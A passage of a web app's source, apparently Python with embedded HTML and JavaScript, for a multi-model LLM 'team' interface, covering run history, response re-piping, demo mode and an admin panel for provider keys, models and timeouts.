card.dataset.displayName = displayName;
output.appendChild(card);
// Auto-scroll to latest response
card.scrollIntoView({behavior: 'smooth', block: 'nearest'});
}
}
function escapeHtml(t) { return t.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;'); }
// ─── CARD ACTIONS ────────────────────────────────────
async function voteRun(btn, vote) {
if (!_lastRunId) return;
try {
const r = await fetch('/api/runs/' + _lastRunId + '/score', {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify({vote: vote})
});
if (r.ok) {
btn.closest('.card-actions').querySelectorAll('.vote-btn').forEach(function(b) { b.style.opacity = '0.3'; b.disabled = true; });
btn.style.opacity = '1';
btn.style.borderColor = vote === 'up' ? 'var(--green)' : 'var(--red)';
btn.style.color = vote === 'up' ? 'var(--green)' : 'var(--red)';
}
} catch(e) { console.error('Vote error:', e); }
}
function copyCard(uid, btn) {
const el = document.getElementById(uid);
if (!el) return;
navigator.clipboard.writeText(el.textContent).then(() => {
btn.textContent = 'Copied!';
btn.classList.add('copied');
setTimeout(() => { btn.textContent = 'Copy'; btn.classList.remove('copied'); }, 1500);
});
}
function useAsPrompt(uid) {
const el = document.getElementById(uid);
if (!el) return;
document.getElementById('prompt').value = el.textContent;
document.getElementById('prompt').focus();
document.getElementById('prompt').scrollIntoView({behavior:'smooth'});
}
let repipeText = '';
let repipeModel = '';
let repipeSelectedMode = '';
function openRepipe(uid) {
const el = document.getElementById(uid);
if (!el) return;
const card = el.closest('.output-card') || el.closest('.hp-resp');
repipeText = el.textContent;
repipeModel = card?.dataset?.model || card?.dataset?.displayName || '';
const dn = card?.dataset?.displayname || card?.dataset?.displayName || repipeModel;
repipeSelectedMode = '';
const modal = document.getElementById('repipe-overlay');
document.getElementById('repipe-title').textContent = dn + (card?.dataset?.role ? ' (' + card.dataset.role + ')' : '');
document.getElementById('repipe-text').textContent = repipeText;
renderRepipeModes();
modal.classList.add('open');
}
function closeRepipe() {
document.getElementById('repipe-overlay').classList.remove('open');
}
function renderRepipeModes() {
const modes = ['brainstorm','pipeline','debate','validator','roundrobin','redteam','consensus','codereview',
'ladder','tournament','evolution','blindassembly','staircase','drift','mesh','hallucination','timeloop',
'research','eval','extract'];
document.getElementById('repipe-modes').innerHTML = modes.map(m =>
`<div class="repipe-mode ${m===repipeSelectedMode?'sel':''}" onclick="repipeSelectedMode='${m}';renderRepipeModes()">${m}</div>`
).join('');
}
function repipeCopy() {
navigator.clipboard.writeText(repipeText);
const btn = event.target;
btn.textContent = 'Copied!';
setTimeout(() => btn.textContent = 'Copy to Clipboard', 1500);
}
function repipeUseAsPrompt() {
document.getElementById('prompt').value = repipeText;
closeRepipe();
document.getElementById('prompt').focus();
}
function repipeAppendToPrompt() {
const p = document.getElementById('prompt');
p.value = p.value ? p.value + '\n\n---\n\n' + repipeText : repipeText;
closeRepipe();
p.focus();
}
function repipeRunInMode() {
if (!repipeSelectedMode) return;
document.getElementById('prompt').value = repipeText;
setMode(repipeSelectedMode);
closeRepipe();
document.getElementById('prompt').scrollIntoView({behavior:'smooth'});
}
function repipeRunNow() {
if (!repipeSelectedMode) return;
document.getElementById('prompt').value = repipeText;
setMode(repipeSelectedMode);
closeRepipe();
setTimeout(() => runTeam(), 100);
}
// ─── HISTORY ─────────────────────────────────────────
let historyRuns = [];
function toggleHistory() {
const panel = document.getElementById('history-panel');
const overlay = document.getElementById('history-overlay');
const isOpen = panel.classList.contains('open');
if (isOpen) {
panel.classList.remove('open');
overlay.classList.remove('open');
} else {
loadHistory();
panel.classList.add('open');
overlay.classList.add('open');
}
}
var _historyView = 'active'; // active or archived
async function loadHistory() {
var show = _historyView === 'archived' ? 'archived' : 'active';
var r = await fetch('/api/runs?show=' + show);
var data = await r.json();
historyRuns = data.runs || [];
renderHistoryList();
}
function renderHistoryList() {
var el = document.getElementById('hp-content');
var isArchived = _historyView === 'archived';
// Toggle bar
var toggleBar = '<div style="display:flex;gap:4px;padding:8px;border-bottom:2px solid var(--border)">'
+ '<button class="hp-btn" style="'+ (!isArchived ? 'border-color:var(--accent);color:var(--accent)' : '') +'" onclick="_historyView=\'active\';loadHistory()">Active</button>'
+ '<button class="hp-btn" style="'+ (isArchived ? 'border-color:var(--accent);color:var(--accent)' : '') +'" onclick="_historyView=\'archived\';loadHistory()">Archived</button>'
+ '<span style="flex:1"></span>';
if (!isArchived && historyRuns.length > 0) {
toggleBar += '<button class="hp-btn" style="border-color:rgba(217,70,239,0.3);color:#d946ef;font-size:9px" onclick="bulkArchive()">Archive All</button>';
}
if (isArchived && historyRuns.length > 0) {
toggleBar += '<button class="hp-btn" style="border-color:rgba(74,222,128,0.3);color:var(--green);font-size:9px" onclick="bulkRestore()">Restore All</button>';
}
toggleBar += '</div>';
if (!historyRuns.length) {
el.innerHTML = toggleBar + '<div style="text-align:center;padding:40px;color:var(--text2);font-family:JetBrains Mono,monospace;font-size:11px">' + (isArchived ? 'No archived runs.' : 'No active runs. Run a team to see history here.') + '</div>';
return;
}
el.innerHTML = toggleBar + '<div class="hp-list">' + historyRuns.map(function(r) {
var d = new Date(r.created_at);
var time = d.toLocaleDateString() + ' ' + d.toLocaleTimeString([], {hour:'2-digit',minute:'2-digit'});
var models = (r.models_used || []).length;
var prompt = (r.prompt || '').substring(0, 80);
return '<div class="hp-item" onclick="viewRun(' + r.id + ')">'
+ '<div class="hp-mode">' + r.mode + '</div>'
+ '<div class="hp-prompt">' + escapeHtml(prompt) + '</div>'
+ '<div class="hp-meta"><span>' + time + '</span><span>' + models + ' model' + (models!==1?'s':'') + '</span></div>'
+ '</div>';
}).join('') + '</div>';
}
async function viewRun(id) {
const r = await fetch('/api/runs/' + id);
const run = await r.json();
if (run.error) return;
const el = document.getElementById('hp-content');
const responses = run.responses || [];
let html = '<div class="hp-detail">';
html += `<button class="hp-back" onclick="renderHistoryList()">&larr; Back to list</button>`;
html += `<div class="hp-mode" style="font-size:10px;text-transform:uppercase;letter-spacing:1px;color:var(--accent2);font-weight:600;margin-bottom:4px">${run.mode}</div>`;
html += `<div style="font-size:13px;margin-bottom:8px">${escapeHtml(run.prompt)}</div>`;
html += `<div class="hp-actions">`;
html += `<button class="hp-btn" onclick="rerunFromHistory(${id})">Re-run</button>`;
var isArch = run.archived;
if (isArch) {
html += `<button class="hp-btn" style="border-color:rgba(74,222,128,0.3);color:var(--green)" onclick="restoreRun(${id})">Restore</button>`;
} else {
html += `<button class="hp-btn" style="border-color:rgba(217,70,239,0.3);color:#d946ef" onclick="archiveRun(${id})">Archive</button>`;
}
html += `<button class="hp-btn hp-btn-del" onclick="deleteRun(${id})">Delete</button>`;
html += `</div>`;
responses.forEach((resp, ri) => {
const mi = availableModels.findIndex(m => m.name === resp.model);
const color = COLORS[(mi >= 0 ? mi : 0) % COLORS.length];
const dn = mi >= 0 ? (availableModels[mi].display_name || resp.model) : resp.model;
const hid = 'hist-resp-' + id + '-' + ri;
html += `<div class="hp-resp" data-model="${resp.model}" data-role="${resp.role||''}" data-display-name="${dn}">
<div class="hp-resp-header" style="cursor:pointer" onclick="openRepipe('${hid}')"><div style="width:6px;height:6px;border-radius:50%;background:${color}"></div>${dn}${resp.role ? ' <span style="color:var(--text2);font-weight:400">'+resp.role+'</span>' : ''}</div>
<div class="hp-resp-body" id="${hid}">${escapeHtml(resp.text)}</div>
<div class="card-actions"><button class="card-act" onclick="copyCard('${hid}',this)">Copy</button><button class="card-act" onclick="useAsPrompt('${hid}');toggleHistory()">Use as Prompt</button><button class="card-act" onclick="openRepipe('${hid}')">Iterate</button></div>
</div>`;
});
html += '</div>';
el.innerHTML = html;
}
async function rerunFromHistory(id) {
const r = await fetch('/api/runs/' + id);
const run = await r.json();
if (!run.config) return;
document.getElementById('prompt').value = run.prompt || '';
if (run.mode) setMode(run.mode);
toggleHistory();
}
async function archiveRun(id) {
await fetch('/api/runs/' + id + '/archive', {method: 'POST'});
await loadHistory();
}
async function restoreRun(id) {
await fetch('/api/runs/' + id + '/restore', {method: 'POST'});
await loadHistory();
}
async function bulkArchive() {
if (!confirm('Archive all ' + historyRuns.length + ' active runs?')) return;
var ids = historyRuns.map(function(r) { return r.id; });
await fetch('/api/runs/bulk-archive', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({action: 'archive', ids: ids})});
await loadHistory();
}
async function bulkRestore() {
if (!confirm('Restore all ' + historyRuns.length + ' archived runs?')) return;
var ids = historyRuns.map(function(r) { return r.id; });
await fetch('/api/runs/bulk-archive', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({action: 'restore', ids: ids})});
await loadHistory();
}
async function deleteRun(id) {
await fetch('/api/runs/' + id, {method: 'DELETE'});
await loadHistory();
}
// ─── DEMO MODE ───────────────────────────────
async function checkDemo() {
try {
var r = await fetch('/api/demo/status');
var d = await r.json();
updateDemoUI(d.active, d.showcase);
} catch(e) {}
}
function updateDemoUI(active, showcase) {
var btn = document.getElementById('demo-toggle');
var banner = document.getElementById('demo-banner');
if (btn) {
btn.style.display = '';
if (showcase) {
btn.textContent = 'Showcase';
btn.style.color = '#d946ef';
btn.style.borderColor = 'rgba(217,70,239,0.4)';
} else if (active) {
btn.textContent = 'Demo ON';
btn.style.color = '#4ade80';
btn.style.borderColor = 'rgba(74,222,128,0.4)';
} else {
btn.textContent = 'Demo';
btn.style.color = 'var(--orange)';
btn.style.borderColor = 'rgba(245,158,11,0.3)';
}
}
if (active) {
if (!banner) {
var b = document.createElement('div');
b.id = 'demo-banner';
if (showcase) {
b.style.cssText = 'position:fixed;top:0;left:0;right:0;background:linear-gradient(90deg,rgba(217,70,239,0.05),rgba(217,70,239,0.12),rgba(217,70,239,0.05));border-bottom:2px solid rgba(217,70,239,0.3);color:#d946ef;text-align:center;font-size:11px;padding:8px;z-index:50;font-weight:700;letter-spacing:2px;font-family:JetBrains Mono,monospace;text-transform:uppercase';
b.textContent = 'Showcase Mode — Full Read-Only Access — Admin · Monitor · Logs · Lab · History';
} else {
b.style.cssText = 'position:fixed;top:0;left:0;right:0;background:linear-gradient(90deg,rgba(74,222,128,0.05),rgba(74,222,128,0.1),rgba(74,222,128,0.05));border-bottom:1px solid rgba(74,222,128,0.25);color:#4ade80;text-align:center;font-size:11px;padding:6px;z-index:50;font-weight:600;letter-spacing:1px;font-family:JetBrains Mono,monospace;text-transform:uppercase';
b.textContent = 'Demo Mode';
}
document.body.prepend(b);
}
} else if (banner) {
banner.remove();
}
}
async function toggleDemo() {
const r = await fetch('/api/demo/toggle', {method:'POST'});
const d = await r.json();
if (d.error) return;
updateDemoUI(d.active);
}
loadModels();
renderSamplePrompts();
checkDemo();
// Pick up prompt from optimization "Use This" button
(function(){
var pending = sessionStorage.getItem('pending-prompt');
if (pending) {
sessionStorage.removeItem('pending-prompt');
var el = document.getElementById('prompt');
if (el) el.value = pending;
// Open composer if in output-focused mode
var ct = document.querySelector('.container');
if (ct) { ct.classList.remove('output-focused'); ct.classList.add('composer-active'); }
}
})();
// Background grid animation
!function(){const c=document.getElementById('bg-grid');if(!c)return;const x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);let t=0;function draw(){x.clearRect(0,0,c.width,c.height);const s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(let gx=-s+ox;gx<c.width+s;gx+=s){for(let gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}}if(Math.random()>0.985){const ly=Math.random()*c.height;x.strokeStyle='rgba(226,181,90,0.012)';x.lineWidth=1;x.beginPath();x.moveTo(0,ly);x.lineTo(c.width,ly);x.stroke()}if(Math.random()>0.995){const lx=Math.random()*c.width;x.strokeStyle='rgba(226,181,90,0.008)';x.lineWidth=40;x.beginPath();x.moveTo(lx,0);x.lineTo(lx,c.height);x.stroke()}t++;requestAnimationFrame(draw)}draw()}();
</script>
<div id="repipe-overlay" class="repipe-overlay" onclick="if(event.target===this)closeRepipe()">
<div class="repipe-modal">
<div class="repipe-header">
<h3 id="repipe-title">Response</h3>
<button class="repipe-close" onclick="closeRepipe()">&times;</button>
</div>
<div class="repipe-body">
<div class="repipe-text" id="repipe-text"></div>
<div class="repipe-actions">
<button class="repipe-btn" onclick="repipeCopy()">Copy to Clipboard</button>
<button class="repipe-btn" onclick="repipeUseAsPrompt()">Replace Prompt</button>
<button class="repipe-btn" onclick="repipeAppendToPrompt()">Append to Prompt</button>
</div>
<div class="repipe-section">Re-pipe into mode</div>
<div class="repipe-modes" id="repipe-modes"></div>
<div class="repipe-actions" style="margin-top:10px">
<button class="repipe-btn primary" onclick="repipeRunNow()">Run Now</button>
<button class="repipe-btn" onclick="repipeRunInMode()">Load &amp; Configure</button>
</div>
</div>
</div>
</div>
<div id="history-overlay" class="history-overlay" onclick="toggleHistory()"></div>
<div id="history-panel" class="history-panel">
<div class="hp-header"><h2>History</h2><button class="hp-close" onclick="toggleHistory()">&times;</button></div>
<div id="hp-content"></div>
</div>
</body>
</html>
"""
ADMIN_HTML = r"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>LLM Team - Admin</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root {
--bg: #08090c; --surface: rgba(14,16,22,0.82); --surface2: rgba(20,22,30,0.7); --border: #2a2d35;
--text: #e8e6e3; --text2: #7a7872; --accent: #e2b55a; --accent2: #f0cc74;
--green: #4ade80; --orange: #f59e0b; --red: #e05252; --blue: #5b9cf5;
--glow: rgba(226,181,90,0.06);
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body { font-family: 'Inter', sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; overflow-x: hidden; }
canvas#bg-grid { position: fixed; inset: 0; z-index: 0; pointer-events: none; }
.scanlines { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,0,0,0.02) 2px, rgba(0,0,0,0.02) 4px); }
.container { max-width: 1100px; margin: 0 auto; padding: 16px 28px; position: relative; z-index: 10; }
header { display: flex; align-items: center; gap: 14px; padding: 18px 0; border-bottom: 2px solid var(--border); margin-bottom: 22px; }
header h1 { font-family: 'JetBrains Mono', monospace; font-size: 20px; font-weight: 700; letter-spacing: -0.5px; }
header h1 span { color: var(--accent); }
.tabs { display: flex; gap: 4px; margin-bottom: 20px; flex-wrap: wrap; }
.tab { padding: 8px 16px; background: transparent; border: 2px solid var(--border); border-radius: 2px; color: var(--text2); cursor: pointer; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
.tab:hover { border-color: var(--accent); color: var(--text); }
.tab.active { border-color: var(--accent); background: var(--glow); color: var(--accent); }
.tab-content { display: none; }
.tab-content.active { display: block; }
.card { background: var(--surface); border: 2px solid var(--border); border-radius: 2px; padding: 20px; margin-bottom: 12px; backdrop-filter: blur(16px); position: relative; }
.card::before { content: ''; position: absolute; top: -1px; left: 16px; right: 16px; height: 1px; background: linear-gradient(90deg, transparent, rgba(226,181,90,0.15), transparent); }
.card h3 { font-family: 'JetBrains Mono', monospace; font-size: 13px; font-weight: 700; margin-bottom: 14px; display: flex; align-items: center; gap: 8px; text-transform: uppercase; letter-spacing: 0.5px; }
.card h3 .prov-dot { width: 8px; height: 8px; border-radius: 2px; }
.row { display: flex; gap: 10px; align-items: center; margin-bottom: 10px; font-size: 13px; }
.row label { width: 100px; color: var(--text2); flex-shrink: 0; font-weight: 600; font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 0.5px; }
.row input, .row select { flex: 1; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 8px 10px; font-size: 13px; }
.row input:focus, .row select:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
.toggle { position: relative; width: 40px; height: 22px; flex-shrink: 0; }
.toggle input { opacity: 0; width: 0; height: 0; }
.toggle .slider { position: absolute; inset: 0; background: var(--border); border-radius: 2px; cursor: pointer; transition: 0.2s; }
.toggle .slider::before { content: ''; position: absolute; width: 16px; height: 16px; left: 3px; bottom: 3px; background: var(--text2); border-radius: 2px; transition: 0.2s; }
.toggle input:checked + .slider { background: var(--accent); }
.toggle input:checked + .slider::before { transform: translateX(18px); background: #08090c; }
.btn { padding: 7px 14px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 10px; font-weight: 700; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
.btn:hover { border-color: var(--accent); color: var(--accent); }
.btn-primary { background: var(--accent); border-color: var(--accent); color: #08090c; }
.btn-primary:hover { background: var(--accent2); }
.btn-sm { padding: 4px 10px; font-size: 9px; }
.btn-g,.btn-green { border-color: rgba(74,222,128,0.3); color: var(--green); }
.btn-g:hover,.btn-green:hover { border-color: var(--green); background: rgba(74,222,128,0.06); }
.btn-r,.btn-red { border-color: rgba(224,82,82,0.3); color: var(--red); }
.btn-r:hover,.btn-red:hover { border-color: var(--red); background: rgba(224,82,82,0.06); }
.toast { position: fixed; top: 20px; right: 20px; padding: 10px 18px; border-radius: 2px; font-size: 11px; z-index: 100; animation: fadeIn 0.2s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; border-width: 2px; border-style: solid; backdrop-filter: blur(16px); }
.toast.ok { background: rgba(74,222,128,0.1); border-color: var(--green); color: var(--green); box-shadow: 0 0 16px rgba(74,222,128,0.1); }
.toast.err { background: rgba(224,82,82,0.1); border-color: var(--red); color: var(--red); box-shadow: 0 0 16px rgba(224,82,82,0.1); }
.toast .toast-detail { font-size: 9px; opacity: 0.7; margin-top: 2px; text-transform: none; letter-spacing: 0; }
@keyframes fadeIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; } }
.model-row { display: flex; align-items: center; gap: 10px; padding: 8px 10px; background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; margin-bottom: 4px; font-size: 13px; }
.model-row .name { flex: 1; font-weight: 500; }
.model-row .meta { color: var(--text2); font-size: 10px; font-family: 'JetBrains Mono', monospace; }
.search-input { width: 100%; padding: 8px 12px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; color: var(--text); font-size: 13px; margin-bottom: 12px; }
.search-input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
.or-list { max-height: 500px; overflow-y: auto; }
.or-list::-webkit-scrollbar { width: 3px; }
.or-list::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
.timeout-row { display: grid; grid-template-columns: 1fr 100px; gap: 10px; align-items: center; padding: 8px 0; font-size: 13px; border-bottom: 1px solid var(--border); }
.timeout-row:last-child { border: none; }
.timeout-row input { width: 80px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 4px 8px; font-size: 12px; text-align: center; font-family: 'JetBrains Mono', monospace; }
.section-title { font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: var(--accent); margin: 16px 0 10px; font-weight: 600; }
.empty { text-align: center; padding: 30px; color: var(--text2); font-size: 12px; font-family: 'JetBrains Mono', monospace; }
.nav-link { color: var(--text2); text-decoration: none; font-size: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; padding: 5px 10px; border: 2px solid var(--border); border-radius: 2px; }
.nav-link:hover { border-color: var(--accent); color: var(--accent); }
.nav-link.green { color: var(--green); border-color: rgba(74,222,128,0.2); }
.nav-link.orange { color: var(--orange); border-color: rgba(245,158,11,0.2); }
@media (max-width: 768px) { .tabs { gap: 3px; } .tab { padding: 6px 10px; font-size: 9px; } .card { padding: 14px; } }
</style>
</head>
<body>
<canvas id="bg-grid"></canvas>
<div class="scanlines"></div>
<div class="container">
<header>
<h1><span>LLM</span> Team Admin</h1>
<nav style="margin-left:auto;display:flex;gap:6px;align-items:center">
<a class="nav-link" href="/">Team</a>
<a class="nav-link green" href="/lab">Lab</a>
<a class="nav-link orange" href="/logs">Logs</a>
<a class="nav-link" href="/admin/monitor">Monitor</a>
<span style="width:2px;height:16px;background:var(--border);margin:0 2px"></span>
<a class="nav-link" href="/logout" style="opacity:0.4">Logout</a>
</nav>
</header>
<div class="tabs">
<div class="tab active" onclick="switchTab('providers')">Providers</div>
<div class="tab" onclick="switchTab('models')">Models</div>
<div class="tab" onclick="switchTab('openrouter')">OpenRouter</div>
<div class="tab" onclick="switchTab('timeouts')">Timeouts</div>
<div class="tab" onclick="switchTab('security')">Security</div>
<div class="tab" onclick="switchTab('analytics')">Analytics</div>
</div>
<!-- PROVIDERS TAB -->
<div id="tab-providers" class="tab-content active">
<div class="card" id="prov-ollama">
<h3><div class="prov-dot" style="background:var(--green)"></div> Ollama (Local)
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="ollama-enabled" checked onchange="updateProvider('ollama')"><span class="slider"></span></label></h3>
<div class="row"><label>Base URL</label><input id="ollama-url" value="http://localhost:11434" onchange="updateProvider('ollama')"></div>
<div class="row"><label>Timeout (s)</label><input id="ollama-timeout" type="number" value="300" style="width:80px;flex:none" onchange="updateProvider('ollama')">
<button class="btn" onclick="testProvider('ollama')">Test</button></div>
</div>
<div class="card" id="prov-openrouter">
<h3><div class="prov-dot" style="background:var(--blue)"></div> OpenRouter
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="openrouter-enabled" onchange="updateProvider('openrouter')"><span class="slider"></span></label></h3>
<div class="row"><label>API Key</label><input id="openrouter-key" type="password" placeholder="sk-or-..." onchange="updateProvider('openrouter')">
<button class="btn btn-sm" onclick="toggleVis('openrouter-key')">Show</button></div>
<div class="row"><label>Base URL</label><input id="openrouter-url" value="https://openrouter.ai/api/v1" onchange="updateProvider('openrouter')"></div>
<div class="row"><label>Timeout (s)</label><input id="openrouter-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('openrouter')">
<button class="btn" onclick="testProvider('openrouter')">Test</button></div>
</div>
<div class="card" id="prov-openai">
<h3><div class="prov-dot" style="background:var(--accent2)"></div> OpenAI
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="openai-enabled" onchange="updateProvider('openai')"><span class="slider"></span></label></h3>
<div class="row"><label>API Key</label><input id="openai-key" type="password" placeholder="sk-..." onchange="updateProvider('openai')">
<button class="btn btn-sm" onclick="toggleVis('openai-key')">Show</button></div>
<div class="row"><label>Base URL</label><input id="openai-url" value="https://api.openai.com/v1" onchange="updateProvider('openai')"></div>
<div class="row"><label>Timeout (s)</label><input id="openai-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('openai')">
<button class="btn" onclick="testProvider('openai')">Test</button></div>
</div>
<div class="card" id="prov-anthropic">
<h3><div class="prov-dot" style="background:#ec4899"></div> Anthropic
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="anthropic-enabled" onchange="updateProvider('anthropic')"><span class="slider"></span></label></h3>
<div class="row"><label>API Key</label><input id="anthropic-key" type="password" placeholder="sk-ant-..." onchange="updateProvider('anthropic')">
<button class="btn btn-sm" onclick="toggleVis('anthropic-key')">Show</button></div>
<div class="row"><label>Base URL</label><input id="anthropic-url" value="https://api.anthropic.com/v1" onchange="updateProvider('anthropic')"></div>
<div class="row"><label>Timeout (s)</label><input id="anthropic-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('anthropic')">
<button class="btn" onclick="testProvider('anthropic')">Test</button></div>
</div>
</div>
<!-- MODELS TAB -->
<div id="tab-models" class="tab-content">
<div class="card">
<h3>Local Models (Ollama)</h3>
<div id="ollama-model-list"><div class="empty">Loading...</div></div>
</div>
<div class="card">
<h3>Cloud Models <button class="btn btn-sm btn-primary" style="margin-left:auto" onclick="showAddCloud()">+ Add Model</button></h3>
<div id="cloud-model-list"><div class="empty">No cloud models configured.</div></div>
</div>
<div id="add-cloud-modal" class="card" style="display:none;border-color:var(--accent)">
<h3>Add Cloud Model</h3>
<div class="row"><label>Provider</label><select id="add-cloud-prov"><option value="openrouter">OpenRouter</option><option value="openai">OpenAI</option><option value="anthropic">Anthropic</option></select></div>
<div class="row"><label>Model ID</label><input id="add-cloud-id" placeholder="e.g. meta-llama/llama-3-8b-instruct:free"></div>
<div class="row"><label>Display Name</label><input id="add-cloud-name" placeholder="e.g. Llama 3 8B Free"></div>
<div class="row" style="justify-content:flex-end;gap:6px">
<button class="btn" onclick="hideAddCloud()">Cancel</button>
<button class="btn btn-primary" onclick="addCloudModel()">Add</button>
</div>
</div>
</div>
<!-- OPENROUTER TAB -->
<div id="tab-openrouter" class="tab-content">
<div class="card">
<h3>Free Models on OpenRouter <button class="btn btn-primary" style="margin-left:auto" onclick="fetchORModels()">Fetch Models</button></h3>
<input class="search-input" id="or-search" placeholder="Search models..." oninput="filterOR()">
<div class="or-list" id="or-model-list"><div class="empty">Click "Fetch Models" to load the list.</div></div>
</div>
</div>
<!-- TIMEOUTS TAB -->
<div id="tab-timeouts" class="tab-content">
<div class="card">
<h3>Global Default</h3>
<div class="row"><label>Timeout (s)</label><input id="global-timeout" type="number" value="300" style="width:100px;flex:none" onchange="saveTimeouts()"></div>
</div>
<div class="card">
<h3>Per-Model Overrides</h3>
<div id="timeout-list"><div class="empty">Loading models...</div></div>
</div>
</div>
<!-- DEMO & SECURITY TAB -->
<div id="tab-security" class="tab-content">
<div class="card" style="border-color:rgba(217,70,239,0.3)">
<h3 style="color:#d946ef">Demo / Showcase
<div style="margin-left:auto;display:flex;gap:6px" id="demo-controls">
<button class="btn btn-g" onclick="setDemoMode('demo')">Demo</button>
<button class="btn" style="border-color:rgba(217,70,239,0.3);color:#d946ef" onclick="setDemoMode('showcase')">Showcase</button>
<button class="btn btn-r" onclick="setDemoMode('off')">Off</button>
</div>
</h3>
<p style="font-size:12px;color:var(--text2);margin-bottom:6px"><strong>Demo</strong> — public can use Team UI, run modes, and browse the Admin panel. Cannot access Logs, Monitor, History, or deep admin features.</p>
<p style="font-size:12px;color:var(--text2);margin-bottom:10px"><strong>Showcase</strong> — full read-only access to everything: Admin, Monitor, Logs, Threat Intel, Lab, History. Can run enrichments and self-analysis. Cannot change settings or delete data. Use this for client demos.</p>
<div id="demo-status-admin" style="font-size:13px">Status: <strong style="color:var(--text2)">Off</strong></div>
</div>
<div class="card">
<h3>IP Allowlist <button class="btn" style="margin-left:auto" onclick="addAllowlistIP()">+ Add IP</button></h3>
<p style="font-size:12px;color:var(--text2);margin-bottom:10px">These IPs are never rate-limited. Your local network (192.168.1.*) is always allowed.</p>
<div id="allowlist"></div>
</div>
</div>
<!-- ANALYTICS TAB -->
<div id="tab-analytics" class="tab-content">
<div class="card" id="ana-coverage-card">
<h3>Scoring Coverage</h3>
<div id="ana-coverage" style="font-size:13px;color:var(--text2)">Loading...</div>
</div>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:12px">
<div class="card">
<h3>Score by Mode</h3>
<div id="ana-by-mode" style="font-size:12px">Loading...</div>
</div>
<div class="card">
<h3>Score by Model</h3>
<div id="ana-by-model" style="font-size:12px">Loading...</div>
</div>
</div>
<div class="card">
<h3>Model × Mode Heatmap</h3>
<div id="ana-heatmap" style="font-size:11px;overflow-x:auto">Loading...</div>
</div>
<div class="card">
<h3>Score Trend (30 days)</h3>
<div id="ana-trend" style="font-size:12px">Loading...</div>
</div>
</div>
</div>
<script>
let config = {};
let orModels = [];
async function loadConfig() {
const r = await fetch('/api/admin/config');
config = await r.json();
applyConfig();
}
function applyConfig() {
const p = config.providers || {};
for (const [name, prov] of Object.entries(p)) {
const en = document.getElementById(name+'-enabled');
if (en) en.checked = prov.enabled;
const url = document.getElementById(name+'-url');
if (url) url.value = prov.base_url || '';
const to = document.getElementById(name+'-timeout');
if (to) to.value = prov.timeout || 120;
const key = document.getElementById(name+'-key');
if (key && prov.api_key_set) key.placeholder = '••••••• (key set)';
}
document.getElementById('global-timeout').value = (config.timeouts||{}).global || 300;
loadOllamaModels();
renderCloudModels();
renderTimeouts();
}
async function loadOllamaModels() {
const r = await fetch('/api/admin/ollama-models');
const data = await r.json();
const el = document.getElementById('ollama-model-list');
if (!data.models.length) { el.innerHTML = '<div class="empty">No Ollama models found.</div>'; return; }
el.innerHTML = data.models.map(m => `
<div class="model-row">
<label class="toggle"><input type="checkbox" ${m.disabled?'':'checked'} onchange="toggleOllama('${m.name}',this.checked)"><span class="slider"></span></label>
<span class="name">${m.name}</span>
<span class="meta">${m.size}</span>
</div>`).join('');
}
function renderCloudModels() {
const el = document.getElementById('cloud-model-list');
const cms = config.cloud_models || [];
if (!cms.length) { el.innerHTML = '<div class="empty">No cloud models configured. Add some from the OpenRouter tab or manually.</div>'; return; }
el.innerHTML = cms.map((m,i) => `
<div class="model-row">
<label class="toggle"><input type="checkbox" ${m.enabled!==false?'checked':''} onchange="toggleCloud(${i},this.checked)"><span class="slider"></span></label>
<span class="name">${m.display_name || m.id}</span>
<span class="meta">${m.id.split('::')[0]}</span>
<button class="btn btn-sm btn-red" onclick="removeCloud(${i})">Remove</button>
</div>`).join('');
}
function renderTimeouts() {
const el = document.getElementById('timeout-list');
// merge all known models
const models = [];
const cms = config.cloud_models || [];
// we'll load from the combined /api/models
fetch('/api/models').then(r=>r.json()).then(data => {
const per = (config.timeouts||{}).per_model || {};
if (!data.models.length) { el.innerHTML = '<div class="empty">No models available.</div>'; return; }
